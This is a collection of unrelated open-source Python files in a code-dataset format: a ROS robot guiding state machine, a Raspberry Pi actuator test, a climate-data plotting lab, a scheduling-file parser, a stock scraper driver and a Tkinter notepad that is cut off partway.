tf_stamped = self.tf_buffer.lookup_transform('map', 'base_link', rospy.Time(0))\n\n lst = []\n\n for i in range(len(ud.sg_waypoints)):\n distance = sqrt((tf_stamped.transform.translation.x - ud.sg_waypoints[i].pose.position.x)**2 +\n (tf_stamped.transform.translation.y - ud.sg_waypoints[i].pose.position.y)**2)\n lst.append([distance, i])\n\n lst.sort()\n\n if lst[0][1] == 0:\n ud.sg_target_wp = 0\n else:\n ud.sg_target_wp = lst[0][1] - 1\n\n return 'go_back'\n\n\nclass AnnounceAction(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['announcement_done'], input_keys=['aa_target_wp', 'aa_wp_str'])\n\n self.tts_pub = rospy.Publisher('sara_tts', String, queue_size=1, latch=True)\n\n def execute(self, ud):\n rospy.logdebug(\"Entered 'ANNOUNCE_ACTION' state.\")\n tts_msg = String()\n tts_msg.data = \"I am moving toward \" + ud.aa_wp_str[ud.aa_target_wp] + \".\"\n self.tts_pub.publish(tts_msg)\n return 'announcement_done'\n\n\nclass MoveSupervisor(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['move_ok', 'move_estop'])\n self.status_service = rospy.ServiceProxy('robot_status', wm_supervisor.srv.robotStatus)\n self.face_cmd = rospy.Publisher('/face_mode', UInt8, queue_size=1, latch=True)\n\n def execute(self, ud):\n rospy.logdebug(\"Entered 'ROBOT_STATUS' state.\")\n\n try:\n res = self.status_service()\n\n except rospy.ServiceException:\n self.face_cmd.publish(RED_FACE)\n return 'move_estop'\n\n if res.status == wm_supervisor.srv.robotStatusResponse.STATUS_OK:\n return 'move_ok'\n\n rospy.sleep(5.0)\n self.face_cmd.publish(YELLOW_FACE)\n\n return 'move_estop'\n\n\nclass Move(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['wp_reached', 'wp_not_reached', 'test_finished'],\n input_keys=['move_waypoints', 'move_target_wp', 'move_wp_str'],\n output_keys=['move_target_wp'])\n self.move_base_client = SimpleActionClient('move_base', MoveBaseAction)\n self.tts_pub = rospy.Publisher('sara_tts', String, queue_size=1, latch=True)\n\n def execute(self, ud):\n\n self.move_base_client.wait_for_server()\n\n goal = MoveBaseGoal()\n goal.target_pose = ud.move_waypoints[ud.move_target_wp]\n goal.target_pose.header.stamp = rospy.Time.now()\n\n self.move_base_client.send_goal(goal)\n self.move_base_client.wait_for_result()\n\n status = self.move_base_client.get_state()\n\n tts_msg = String()\n\n if status == GoalStatus.SUCCEEDED:\n tts_msg.data = \"I have reached \" + ud.move_wp_str[ud.move_target_wp] + \".\"\n self.tts_pub.publish(tts_msg)\n\n if ud.move_target_wp == 0:\n return 'test_finished'\n else:\n ud.move_target_wp -= 1\n return 'succeeded'\n else:\n return 'wp_not_reached'\n\n\nif __name__ == '__main__':\n\n rospy.init_node('stage1_following_guiding_node')\n sm = smach.StateMachine(outcomes=['test_succeeded'])\n\n starting_location = PoseStamped()\n starting_location.header.frame_id = 'map'\n starting_location.pose.position.x = 1.0\n starting_location.pose.position.y = 0.0\n starting_location.pose.position.z = 0.0\n starting_location.pose.orientation.x = 0.0\n starting_location.pose.orientation.y = 0.0\n starting_location.pose.orientation.z = 0.0\n starting_location.pose.orientation.w = 1.0\n\n checkpoint_1 = PoseStamped()\n checkpoint_1.header.frame_id = 'map'\n checkpoint_1.pose.position.x = 3.0\n checkpoint_1.pose.position.y = 0.0\n checkpoint_1.pose.position.z = 0.0\n checkpoint_1.pose.orientation.x = 0.0\n checkpoint_1.pose.orientation.y = 0.0\n checkpoint_1.pose.orientation.z = 0.0\n checkpoint_1.pose.orientation.w = 1.0\n\n checkpoint_2 = PoseStamped()\n checkpoint_2.header.frame_id = 'map'\n checkpoint_2.pose.position.x = 3.0\n checkpoint_2.pose.position.y = 1.0\n checkpoint_2.pose.position.z = 0.0\n checkpoint_2.pose.orientation.x = 0.0\n checkpoint_2.pose.orientation.y = 0.0\n checkpoint_2.pose.orientation.z = 0.0\n checkpoint_2.pose.orientation.w = 1.0\n\n checkpoint_3 = PoseStamped()\n checkpoint_3.header.frame_id = 'map'\n checkpoint_3.pose.position.x = 4.0\n checkpoint_3.pose.position.y = 1.0\n checkpoint_3.pose.position.z = 0.0\n checkpoint_3.pose.orientation.x = 0.0\n checkpoint_3.pose.orientation.y = 0.0\n checkpoint_3.pose.orientation.z = 0.0\n checkpoint_3.pose.orientation.w = 1.0\n\n goal_location = PoseStamped()\n goal_location.header.frame_id = 'map'\n goal_location.pose.position.x = 4.0\n goal_location.pose.position.y = 1.0\n goal_location.pose.position.z = 0.0\n goal_location.pose.orientation.x = 0.0\n goal_location.pose.orientation.y = 0.0\n goal_location.pose.orientation.z = 0.0\n goal_location.pose.orientation.w = 1.0\n\n sm.userdata.target_wp = 0\n sm.userdata.waypoints = [starting_location, checkpoint_1, checkpoint_2, checkpoint_3, goal_location]\n sm.userdata.wp_str = [\"starting location\", \"checkpoint 1\", \"checkpoint 2\", \"checkpoint 3\"]\n\n with sm:\n\n smach.StateMachine.add('INIT_STATE',\n InitState(),\n transitions={'init_done': 'WAIT_FOR_START'})\n\n smach.StateMachine.add('WAIT_FOR_START',\n WaitForStart(),\n transitions={'start_cmd_received': 'TELL_INSTRUCTIONS'})\n\n smach.StateMachine.add('TELL_INSTRUCTIONS',\n TellInstructions(),\n transitions={'target_locked': 'MONITOR_FOLLOWING'})\n\n smach.StateMachine.add('MONITOR_FOLLOWING',\n MonitorFollowing(),\n transitions={'stop_following': 'ASK_CONTINUE_FOLLOWING'})\n\n smach.StateMachine.add('ASK_CONTINUE_FOLLOWING',\n AskContinueFollowing(),\n transitions={'continue_following': 'MONITOR_FOLLOWING',\n 'ask_guiding': 'ASK_START_GUIDING'})\n\n smach.StateMachine.add('ASK_START_GUIDING',\n AskStartGuiding(),\n transitions={'start_guiding': 'START_GUIDING',\n 'do_not_guide': 'ASK_CONTINUE_FOLLOWING'})\n\n smach.StateMachine.add('START_GUIDING',\n StartGuiding(),\n transitions={'go_back': 'MOVE_SUPERVISOR'},\n remapping={'sg_target_wp': 'target_wp',\n 'sg_waypoints': 'waypoints'})\n\n smach.StateMachine.add('ANNOUNCE_ACTION',\n AnnounceAction(),\n transitions={'announcement_done': 'MOVE_SUPERVISOR'},\n remapping={'aa_target_wp': 'target_wp',\n 'aa_wp_str': 'wp_str'})\n\n smach.StateMachine.add('MOVE_SUPERVISOR',\n MoveSupervisor(),\n transitions={'move_ok': 'MOVE',\n 'move_estop': 'MOVE_SUPERVISOR'})\n\n smach.StateMachine.add('MOVE',\n Move(),\n transitions={'wp_reached': 'ANNOUNCE_ACTION',\n 'wp_not_reached': 'MOVE_SUPERVISOR',\n 'test_finished': 'test_succeeded'},\n remapping={'move_waypoints': 'waypoints',\n 'move_target_wp': 'target_wp',\n 'move_wp_str': 'wp_str'})\n\n outcome = sm.execute()\n","sub_path":"wm_robocup2016/src/stage1_following_guiding.py","file_name":"stage1_following_guiding.py","file_ext":"py","file_size_in_byte":19245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"595667902","text":"# -*- coding:utf-8 _*- \n\"\"\" \n@author:Administrator\n@file: predict_analysis.py\n@time: 2018/9/20\n\"\"\"\nimport pandas as pd\n\ndata = pd.read_csv('merge_data_auto_ml.csv')\n\ndata_10 = []\ndata_20 = []\ndata_30 = []\ndata_more = []\n\ndata = data.drop(columns=['index'])\n\n\nfor i in range(len(data)):\n print(i)\n if abs(data.iloc[i]['predictions'] - data.iloc[i]['daysOnMarket']) <=10:\n data_10.append(i)\n if abs(data.iloc[i]['predictions'] - data.iloc[i]['daysOnMarket']) > 10 and abs(data.iloc[i]['predictions'] - data.iloc[i]['daysOnMarket']) <=20:\n data_20.append(i)\n if abs(data.iloc[i]['predictions'] - data.iloc[i]['daysOnMarket']) > 20 and abs(data.iloc[i]['predictions'] - data.iloc[i]['daysOnMarket']) <=30:\n data_30.append(i)\n if abs(data.iloc[i]['predictions'] - data.iloc[i]['daysOnMarket']) >30:\n data_more.append(i)\n\nprint(len(data_10)/len(data))\nprint(len(data_20)/len(data))\nprint(len(data_30)/len(data))\nprint(len(data_more)/len(data))\n","sub_path":"first_reporter_task_one_week_finish/add_ownershiptype/predict_analysis.py","file_name":"predict_analysis.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"649903706","text":"import RPi.GPIO as gpio \r\nimport time \r\nimport sys\r\nimport datetime\r\nimport csv\r\n\r\nimport logger\r\nimport actu\r\n\r\n# variable\r\ninitial_time = time.time()\r\n\r\npin_esc = 13\r\npin_servo1 = 12\r\npin_servo2 = 18\r\npin_switch1 = 14\r\npin_switch2 = 15\r\npin_emergency = 20\r\npin_robot = 21\r\npin_to = 5\r\npin_from = 6\r\npin_led = 24\r\n\r\nfreq = 50 # [Hz]\r\ngoal = 20 # [m]\r\n\r\nbme_adrs = 0x76\r\nsht_adrs = 0x44\r\n\r\n\r\n# csv\r\ndt = datetime.datetime.now()\r\nfile_name = \"encLog_\" + str(dt.year) + \".\" + str(dt.month) + \".\" + str(dt.day + 4) + \"_\" + str(dt.hour + 20) + \".\" + str(dt.minute) + \".csv\"\r\nf = open(file_name, \"a\")\r\nwriter = csv.writer(f, lineterminator=\"\\n\")\r\n\r\n\r\n# setup\r\ngpio.setwarnings(False)\r\ngpio.setmode(gpio.BCM)\r\n\r\nact = actu.actu(pin_esc, pin_servo1, pin_servo2, freq)\r\nlogg = logger.logger(bme_adrs, sht_adrs)\r\n\r\ngpio.setup(pin_switch1, gpio.IN, pull_up_down=gpio.PUD_UP)\r\ngpio.setup(pin_switch2, gpio.IN, pull_up_down=gpio.PUD_UP)\r\ngpio.setup(pin_emergency, gpio.IN, pull_up_down=gpio.PUD_UP)\r\ngpio.setup(pin_robot, gpio.OUT, initial=gpio.LOW)\r\ngpio.setup(pin_to, gpio.OUT, initial=gpio.LOW)\r\ngpio.setup(pin_from, gpio.IN, pull_up_down=gpio.PUD_UP)\r\ngpio.setup(pin_led, gpio.OUT, initial=gpio.LOW)\r\n\r\n\r\n# functions\r\n\r\n# read data log and write it\r\ndef log_data():\r\n\r\n global initial_alti\r\n global writer\r\n\r\n now_time = time.time() - initial_time\r\n data_bme = logg.read_bme()\r\n data_sht = logg.read_sht()\r\n altitude = logg.cal_altitude(data_bme[0], data_sht[0]) - initial_alti\r\n data = [now_time, data_bme[0], data_bme[1], data_bme[2], data_sht[0], data_sht[1], altitude]\r\n writer.writerow(data)\r\n print(\"now altitude : {:.2g}\".format(altitude))\r\n\r\n return altitude\r\n\r\n# with filter\r\ndef good_alti():\r\n arr = []\r\n for i in range(10):\r\n arr.append(log_data())\r\n time.sleep(0.5)\r\n\r\n for i in range(4):\r\n arr.remove(max(arr))\r\n\r\n good = max(arr)\r\n\r\n print(\"now best altitude : {:.2g}\".format(good))\r\n return good\r\n\r\n# to go down slowly and shortly\r\ndef down(down_time):\r\n \r\n print(\">> go down for %f[sec]\" % down_time)\r\n\r\n # go down and stop\r\n \"\"\"\r\n act.breakoff()\r\n \"\"\"\r\n act.new_break(7.25)\r\n time.sleep(down_time)\r\n act.breakon()\r\n time.sleep(1)\r\n\r\n # confirmation\r\n alti = 10.0 # for test\r\n \r\n \"\"\"\r\n alti = good_alti()\r\n \"\"\"\r\n\r\n # condition branches\r\n if alti > 5:\r\n return 0\r\n else:\r\n return 1\r\n\r\n# the main function for the test\r\ndef main():\r\n global f\r\n\r\n # count\r\n num = [5, 4, 3, 2, 1]\r\n for i in num:\r\n print(i)\r\n time.sleep(1)\r\n\r\n # start to go up\r\n act.new_throttle(6)\r\n time.sleep(0.5)\r\n act.new_throttle(8)\r\n time.sleep(0.5)\r\n\r\n act.breakoff()\r\n act.new_throttle(50)\r\n time.sleep(5)\r\n\r\n act.new_throttle(30)\r\n time.sleep(3)\r\n\r\n act.breakon()\r\n act.new_throttle(0)\r\n time.sleep(5)\r\n print(\"go down\")\r\n\r\n state = down(0.5)\r\n while state == 0:\r\n state = down(0.5)\r\n\r\n# the function called after that bottons of switches are pushed \r\ndef err():\r\n global f\r\n\r\n # go down once\r\n print(\">> wait me my master @^@\")\r\n state_down = down(0.5)\r\n\r\n # confirmation of condition and a branch\r\n while state_down == 0:\r\n state_down = down(0.5)\r\n\r\n # end\r\n print(\">> good job.\")\r\n f.close()\r\n sys.exit()\r\n\r\n# the function called when bottons of switches are pushed \r\ndef sleep_24h(channel):\r\n\r\n act.new_throttle(0.0)\r\n act.breakon()\r\n act.new_throttle(0.0)\r\n time.sleep(5)\r\n print(\">> finish caused by swithces\")\r\n sys.exit()\r\n\r\ndef emergency():\r\n global f\r\n\r\n act.new_throttle(0.0)\r\n act.breakon()\r\n act.new_throttle(0.0)\r\n time.sleep(5)\r\n f.close()\r\n print(\">> finished caused by KeyBoardInterupt.\")\r\n\r\n\r\n# initial_altitude\r\n\r\narr = []\r\nfor i in range(10):\r\n arr.append(logg.cal_altitude(logg.read_bme()[0], logg.read_sht()[0]))\r\n time.sleep(0.5)\r\n\r\nfor i in range(4):\r\n arr.remove(max(arr))\r\n\r\ninitial_alti = max(arr)\r\nprint(\">> initial altitude : {:.2g}\".format(initial_alti))\r\n\r\n\r\n# callback setting\r\ngpio.add_event_detect(pin_switch1, gpio.RISING, callback=sleep_24h, bouncetime=300)\r\ngpio.add_event_detect(pin_switch2, gpio.RISING, callback=sleep_24h, bouncetime=300)\r\ngpio.add_event_detect(pin_emergency, gpio.RISING, callback=sleep_24h, bouncetime=300)\r\n\r\n\r\n# go\r\ntry:\r\n state = 0\r\n num = 1\r\n\r\n act.breakoff()\r\n time.sleep(180)\r\n\r\n act.breakon()\r\n print(\">> I'm in the range from 0[m] to 5[m].\")\r\n time.sleep(5)\r\n\r\nexcept KeyboardInterrupt:\r\n emergency()\r\nfinally:\r\n f.close()\r\n print(\">> all finished.\")\r\n sys.exit()","sub_path":"src/test_break.py","file_name":"test_break.py","file_ext":"py","file_size_in_byte":4670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"440159921","text":"# Matthew Raper\n# OCNG 689, Python for Geoscientists\n# 10-15-2013\n# Lab 3\n\n# Import acquired packages\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport netCDF4\nimport pandas as pd\nfrom mpl_toolkits.basemap import Basemap\nfrom datetime import date\n\ndef readncfile():\n \"\"\"\n Function that reads in the netCDF file specified in the function code,\n then loads the data into NumPy arrays and returns the arrays for use in\n the other two functions.\n Special note: \n Users may need to restart the Canopy/Python kernel after each\n run to free up memory. Otherwise, an out-of-memory error will \n occur stopping execution.\n Call string:\n readncfile() (no arguments needed)\n Input:\n Data from netCDF file\n Output:\n NumPy arrays containing the netCDF data\n \"\"\"\n # Set file location\n ncfile='tas_daily_2000-2000.nc' # use on school Mac\n #ncfile=r'D:\\Documents\\TAMU\\Fall 2013\\OCNG 689\\Assignments\\Lab 3'+\\\n # r'\\tas_daily_2000-2000.nc' # use on personal laptop at school\n #ncfile=r'C:\\Documents\\TAMU\\Fall 2013\\OCNG 689'+\\\n # r'\\tas_d_2000.nc' # use at home\n\n # Open netCDF4 file \n nc=netCDF4.Dataset(ncfile,mode='r')\n \n # Read variables into lists\n lat=np.array(nc.variables['latitude'][:])\n lon=np.array(nc.variables['longitude'][:])\n tsfc=np.array(nc.variables['tas'][:])\n tsfc=np.squeeze(tsfc)\n\n # Convert sfc. temp. in Kelvin to deg. Fahrenheit\n t_f=(1.8*(tsfc-273))+32\n \n # Create pandas date range array\n time=pd.date_range('1/1/2000','12/31/2000')\n\n # Return arrays to __main__\n return lat,lon,tsfc,t_f,time\n\ndef pdts(lat,lon,t_f,time):\n \"\"\"\n Function that displays a pandas time series for one lat/lon coordinate point\n using array data from a netCDF file (see arguments in the function code for\n array names).\n The chosen location is near College Station, TX (30.5 N/95.5 W);\n see the function code for the hard-coded index values for this location.\n Call string:\n pdts(lat,lon,t_f,time)\n Input:\n NumPy arrays with netCDF file data\n Output:\n pandas time series plot for the chosen location in a PDF file\n \"\"\"\n # Convert longitudes to deg East/deg West\n lon[180:]=lon[180:]-360\n\n # Is location longitude east or west?\n # Index east:0<=ixlon<=180, index west:181<=ixlon<=360\n # Longitude values are every degree on the half-degree;\n # ex: ixlon=264 -> lon -95.5 W\n ixlon=264\n picklon=lon[ixlon]\n if picklon<0:\n lonmark='W'\n elif picklon>0:\n lonmark='E'\n\n # Is location latitude north or south?\n # Index south:0<=ixlat<=90, index north:91<=ixlat<=180\n # Latitude values are every degree on the half-degree;\n # ex: ixlat=120 -> lat 30.5 N\n ixlat=120\n picklat=lat[ixlat]\n if picklat<0:\n latmark='S'\n elif picklat>0:\n latmark='N'\n\n # Create pandas time series \n ts=pd.Series(data=t_f[:,ixlat,ixlon],index=time)\n \n # Plot time series\n fig2=plt.figure()\n fig2.autofmt_xdate() \n ax=plt.gca()\n ax.set_xlabel('Calendar month')\n ax.set_ylabel(u'Temperature [\\u00b0F]')\n ax.set_title('Matthew Raper, OCNG 689, Lab 3\\n'+\\\n 'Time Series of Daily Sfc. Air Temp. for Year 2000\\n'+\n 'Location: '+\\\n str(picklat)+u'\\u00b0'+latmark+', '+\\\n str(picklon)+u'\\u00b0'+lonmark)\n plt.grid(True,lw=2.0)\n plt.plot_date(ts.index,ts.values,fmt='b-',lw=2.0,label='Surface temp')\n figManager = plt.get_current_fig_manager()\n figManager.window.showMaximized()\n plt.show()\n\n # Save figure to .pdf file in current dir with dpi and space adjusted\n plt.savefig('MRaper_Lab3a.pdf', dpi=600, bbox_inches='tight')\n \n # Close the figure to release the memory it occupied\n plt.close(fig2)\n\n # Nothing to return\n return None\n\ndef bmproj(lat,lon,t_f):\n \"\"\"\n Function that displays a Mollweide projection of the netCDF data\n for one day in the time period.\n The chosen date is January 1st, 2000; see the function code for the\n hard-coded date calculations.\n Call string:\n bmproj(lat,lon,tsfc)\n Input:\n NumPy arrays with netCDF data\n Output:\n Rasterized Mollweide projection of the data for the chosen date\n in a PDF file\n \"\"\"\n # Set reference year and day of the year for plot data\n refyear=2000\n refday=0\n refdate=date.fromordinal(date(refyear, 1, 1).toordinal() + refday)\n refdatestr=str(refdate)\n\n # Instantiate basemap with desired domain \n m=Basemap(llcrnrlat=-90,llcrnrlon=0,urcrnrlat=90,urcrnrlon=360,\\\n lat_0=0,lon_0=180,projection='moll')\n \n # Set up meshgrid using lat/lon data and apply basemap\n lon,lat=np.meshgrid(lon,lat)\n x,y=m(lon,lat)\n\n # Draw Mollweide plot with data for reference day \n fig=plt.figure()\n m.drawcoastlines()\n m.drawcountries()\n m.drawmeridians(np.linspace(0.0,360.0,13.0,endpoint=True))\n m.drawparallels(np.linspace(-90.0,90.0,13.0,endpoint=True))\n plt.pcolormesh(x,y,t_f[refday,:,:],cmap=plt.cm.rainbow,rasterized=True)\n ax=plt.gca()\n ax.set_title('Matt Raper, OCNG 689, Lab 3\\n'+\\\n 'Global Surface Air Temperature for '+refdatestr)\n cb=plt.colorbar(orientation='horizontal')\n cb.set_label(u'Surface Air Temperature [\\u00b0F]')\n figManager = plt.get_current_fig_manager()\n figManager.window.showMaximized()\n plt.show()\n\n # Save figure to .pdf file in current dir with dpi and space adjusted\n plt.savefig('MRaper_Lab3b.pdf', dpi=600, bbox_inches='tight')\n \n # Close the figure to release the memory it occupied\n plt.close(fig)\n\n # Nothing to return\n return None\n\n# Call function to read netCDF file\nlat,lon,tsfc,t_f,time=readncfile()\n\n# Choose which plot to generate\nchoice=1\nif choice==1: # Time series for one lat/lon location\n pdts(lat,lon,t_f,time)\nelif choice==2: # Global projection for one day\n bmproj(lat,lon,t_f)","sub_path":"Assignments/Lab 3/MRaper_Lab3_fn.py","file_name":"MRaper_Lab3_fn.py","file_ext":"py","file_size_in_byte":5998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"476421788","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.6 (62161)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/coils/logic/account/get_account.py\n# Compiled at: 2012-10-12 07:02:39\nfrom sqlalchemy import *\nfrom coils.core import *\nfrom coils.core.logic import GetCommand, RETRIEVAL_MODE_SINGLE, RETRIEVAL_MODE_MULTIPLE\n\nclass GetAccount(GetCommand):\n __domain__ = 'account'\n __operation__ = 'get'\n\n def parse_parameters(self, **params):\n GetCommand.parse_parameters(self, **params)\n self._login = None\n if 'login' in params:\n self._login = params.get('login')\n return\n\n def run(self, **params):\n db = self._ctx.db_session()\n if self._login is not None:\n self.mode = RETRIEVAL_MODE_SINGLE\n self.log.debug(('attempting to retrieve contact object with login of \"{0}\"').format(self._login))\n query = db.query(Contact).filter(and_(Contact.login == self._login, Contact.is_account == 1, Contact.status != 'archived'))\n else:\n if len(self.object_ids) == 0:\n self.mode = RETRIEVAL_MODE_SINGLE\n self.object_ids.append(self._ctx.account_id)\n query = db.query(Contact).filter(and_(Contact.object_id.in_(self.object_ids), Contact.is_account == 1, Contact.status != 'archived'))\n self.set_return_value(query.all())\n return","sub_path":"pycfiles/OpenGroupware-0.1.48-py2.6/get_account.py","file_name":"get_account.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"381952954","text":"from ms_rcpsp.resource import Resource\nfrom ms_rcpsp.skill import Skill\nfrom ms_rcpsp.task import Task\n\n\nclass DefReader:\n\n def __init__(self, separator='=', sep_occurences=15):\n self.separator = separator\n self.sep_occurences = sep_occurences\n\n def read_section(self, lines, section_number):\n sections = self._split_by_sections(lines)\n return sections[section_number-1]\n\n def load_resources(self, lines):\n section = self.read_section(lines, 3)\n return [self._read_resource(line) for line in section[1:]]\n\n def load_tasks(self, lines):\n section = self.read_section(lines, 4)\n return [self._read_task(line) for line in section[1:]]\n\n def _split_by_sections(self, lines):\n sep = self.separator * self.sep_occurences\n start_indx, end_indx = -1, -1\n separeted_lists = []\n for i, line in enumerate(lines):\n if sep in line:\n if start_indx >= 0:\n separeted_lists.append(lines[start_indx:i])\n start_indx = i + 1\n return separeted_lists\n\n def _read_resource(self, raw_line):\n s_line = raw_line.split()\n id = int(s_line[0])\n salary = float(s_line[1])\n raw_skills = [s_line[i:i+2] for i in range(2, len(s_line), 2)]\n skills = [self._read_skill(s) for s in raw_skills]\n return Resource(id=id, cost=salary, skills=skills)\n\n def _read_task(self, raw_line):\n s_line = raw_line.split()\n id = int(s_line[0])\n duration = int(s_line[1])\n skill = self._read_skill(s_line[2:4])\n predecessors_ids = [int(pred) for pred in s_line[4:]]\n return Task(id=id, duration=duration, required_skill=skill,\n predecessors=predecessors_ids)\n\n def _read_skill(self, splited_line):\n name = splited_line[0][:-1]\n level = int(splited_line[1])\n return Skill(name=name, level=level)\n","sub_path":"zad_01/src/ms_rcpsp/io/def_reader.py","file_name":"def_reader.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"24442236","text":"# -*- coding: utf-8 -*-\n# import neccessary packages\nimport pandas as pd\nfrom datetime import date\nfrom datetime import timedelta\nfrom date_process import date_preprocess\nfrom read_yaml import read_yaml\nfrom webscraper import webscraper\n\ndef main():\n # reading file yaml\n file = 'config.yaml'\n yaml_source = read_yaml.read(file)\n\n # assignment date need to scrapy data and today\n date_scrapy = date_preprocess.convert(yaml_source)\n today = date.today()\n \n dict_data = {\n 'Date': [],\n 'Currency' : [],\n 'Purchase_Price': [],\n 'Transfer_Price': [],\n 'Price': []\n }\n\n # while loop from date_scrapy to today\n while date_scrapy <= today:\n list_info = webscraper.parse(date_scrapy)[:]\n for key, value in zip(dict_data.keys(), list_info):\n dict_data[key].extend(value)\n \n # add date_scrapy 1 day\n date_scrapy += timedelta(days=1)\n \n # assignment dataframe\n dataframe = pd.DataFrame(dict_data)\n \n # save dataframe to csv format\n dataframe.to_csv('stock_in_24h_com_vn.csv')\n print('[Completed]')\n\nif __name__ == '__main__':\n main()","sub_path":"Python-Project/[Python-Scientific Computing]/Get Stock Market Data/scrapy_data/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"248542527","text":"from tkinter import ttk\r\nimport tkinter\r\nimport win32ui\r\nimport win32con\r\nimport tkinter.messagebox\r\nimport tkinter.filedialog\r\nimport pyperclip\r\nimport time\r\nimport random\r\n\r\nt_ground_color_on = ('blue','black','deeppink','cyan','yellow','orangered','white','gray')\r\nt_ground_color = {'蓝色':0,'黑色':1,'桃红':2,'青色':3,'黄色':4,'橘红色':5,'白色':6,'灰色':7}\r\nt_ground_color_t = ('蓝色','黑色','桃红','青色','黄色','橘红色','白色','灰色')\r\ntgc = 0\r\n\r\nt_t_color_on = ('white','blue','black','deeppink','cyan','yellow','orangered','gray')\r\nt_t_color = {'白色':0,'蓝色':1,'黑色':2,'桃红':3,'青色':4,'黄色':5,'橘红色':6,'灰色':7}\r\nt_t_color_t = ('白色','蓝色','黑色','桃红','青色','黄色','橘红色','灰色')\r\nttc = 0\r\n\r\nt_f_color_on = ('black','blue','deeppink','cyan','yellow','orangered','white','gray')\r\nt_f_color = {'黑色':0,'蓝色':1,'桃红':2,'青色':3,'黄色':4,'橘红色':5,'白色':6,'灰色':7}\r\nt_f_color_t = ('黑色','蓝色','桃红','青色','黄色','橘红色','白色','灰色')\r\ntfc = 0\r\n\r\nfont = ('楷体',10)\r\ndlg = win32ui.CreateFontDialog(None,win32con.CF_EFFECTS|win32con.CF_SCREENFONTS,None,None)\r\n\r\nfile_text = ''\r\nfile_name = ''\r\nthis_file = ''\r\nmst = ''\r\nfile = None\r\nsave = 0\r\n\r\nroot=tkinter.Tk()\r\nroot.state('zoomed')\r\nroot.title('NanShan ETNR. Notepad')\r\n\r\nf=tkinter.Frame(root)\r\ns1 = tkinter.Scrollbar(f,orient=tkinter.VERTICAL)\r\ns2 = tkinter.Scrollbar(f,orient=tkinter.HORIZONTAL)\r\nb1 = tkinter.Text(f,width=1366,height=768,wrap=tkinter.NONE,yscrollcommand=s1.set,xscrollcommand=s2.set,undo=True,fg=t_f_color_on[tfc],selectbackground=t_ground_color_on[tgc],selectforeground=t_t_color_on[ttc],font=font)\r\ns1.pack(side=tkinter.RIGHT,fill=tkinter.Y) \r\ns1.config(command=b1.yview)\r\ns2.pack(side=tkinter.BOTTOM,fill=tkinter.X) \r\ns2.config(command=b1.xview)\r\nb1.pack(fill=tkinter.BOTH)\r\nf.pack()\r\n\r\ndef exit_win(*args):\r\n global b1\r\n if b1.get('0.0','end') != '\\n':\r\n ass = tkinter.messagebox.askokcancel('NanShan ETNR. Notepad','您确定要关闭 NanShan ETNR. Notepad 吗?')\r\n if ass == True:\r\n exit()\r\n else:\r\n pass\r\n else:\r\n exit()\r\n\r\ndef copy(*args):\r\n global b1\r\n b1.event_generate(\"<>\")\r\n\r\ndef paste(*args):\r\n global b1\r\n b1.event_generate(\"<>\")\r\n\r\ndef cut(*args):\r\n global b1\r\n b1.event_generate(\"<>\")\r\n\r\ndef new_text(*args):\r\n global b1\r\n global save\r\n if b1.get('0.0','end') != '\\n':\r\n if save == 0:\r\n ass = tkinter.messagebox.askokcancel('NanShan ETNR. Notepad','您的文件未保存,您确定要新建文本文档吗?')\r\n else:\r\n ass = True\r\n if ass == True:\r\n b1.delete('0.0','end')\r\n save = 0\r\n else:\r\n pass\r\n else:\r\n pass\r\n\r\ndef open_text(*args):\r\n global b1\r\n global s1\r\n global s2\r\n global f\r\n global file\r\n global save\r\n global file_text\r\n global file_name\r\n global this_file\r\n file_name = tkinter.filedialog.askopenfilename(title='NanShan ETNR. Notepad',filetypes=[('Text file','*.txt'),('NanShan ETNR. Notepad file','*.nsnp'),('All files','*')])\r\n this_file = file_name\r\n root.title('NanShan ETNR. Notepad --'+file_name)\r\n file = open(file_name,'r',encoding='UTF-8')\r\n file_text = file.read()\r\n if b1.get('0.0','end') != '\\n':\r\n if save == 0:\r\n ass = tkinter.messagebox.askokcancel('NanShan ETNR. Notepad','您的文件未保存,您确定要打开这个文本文档吗?')\r\n if ass == True:\r\n s1.pack_forget()\r\n s2.pack_forget()\r\n b1.pack_forget()\r\n f.pack_forget()\r\n f=tkinter.Frame(root)\r\n s1 = tkinter.Scrollbar(f,orient=tkinter.VERTICAL)\r\n s2 = tkinter.Scrollbar(f,orient=tkinter.HORIZONTAL)\r\n b1 = tkinter.Text(f,width=1366,height=768,wrap=tkinter.NONE,yscrollcommand=s1.set,xscrollcommand=s2.set,undo=True,fg=t_f_color_on[tfc],selectbackground=t_ground_color_on[tgc],selectforeground=t_t_color_on[ttc],font=font)\r\n s1.pack(side=tkinter.RIGHT,fill=tkinter.Y) \r\n s1.config(command=b1.yview)\r\n s2.pack(side=tkinter.BOTTOM,fill=tkinter.X) \r\n s2.config(command=b1.xview)\r\n b1.pack(fill=tkinter.BOTH)\r\n f.pack()\r\n b1.insert(tkinter.INSERT,file_text)\r\n else:\r\n pass\r\n else:\r\n s1.pack_forget()\r\n s2.pack_forget()\r\n b1.pack_forget()\r\n f.pack_forget()\r\n f=tkinter.Frame(root)\r\n s1 = tkinter.Scrollbar(f,orient=tkinter.VERTICAL)\r\n s2 = tkinter.Scrollbar(f,orient=tkinter.HORIZONTAL)\r\n b1 = 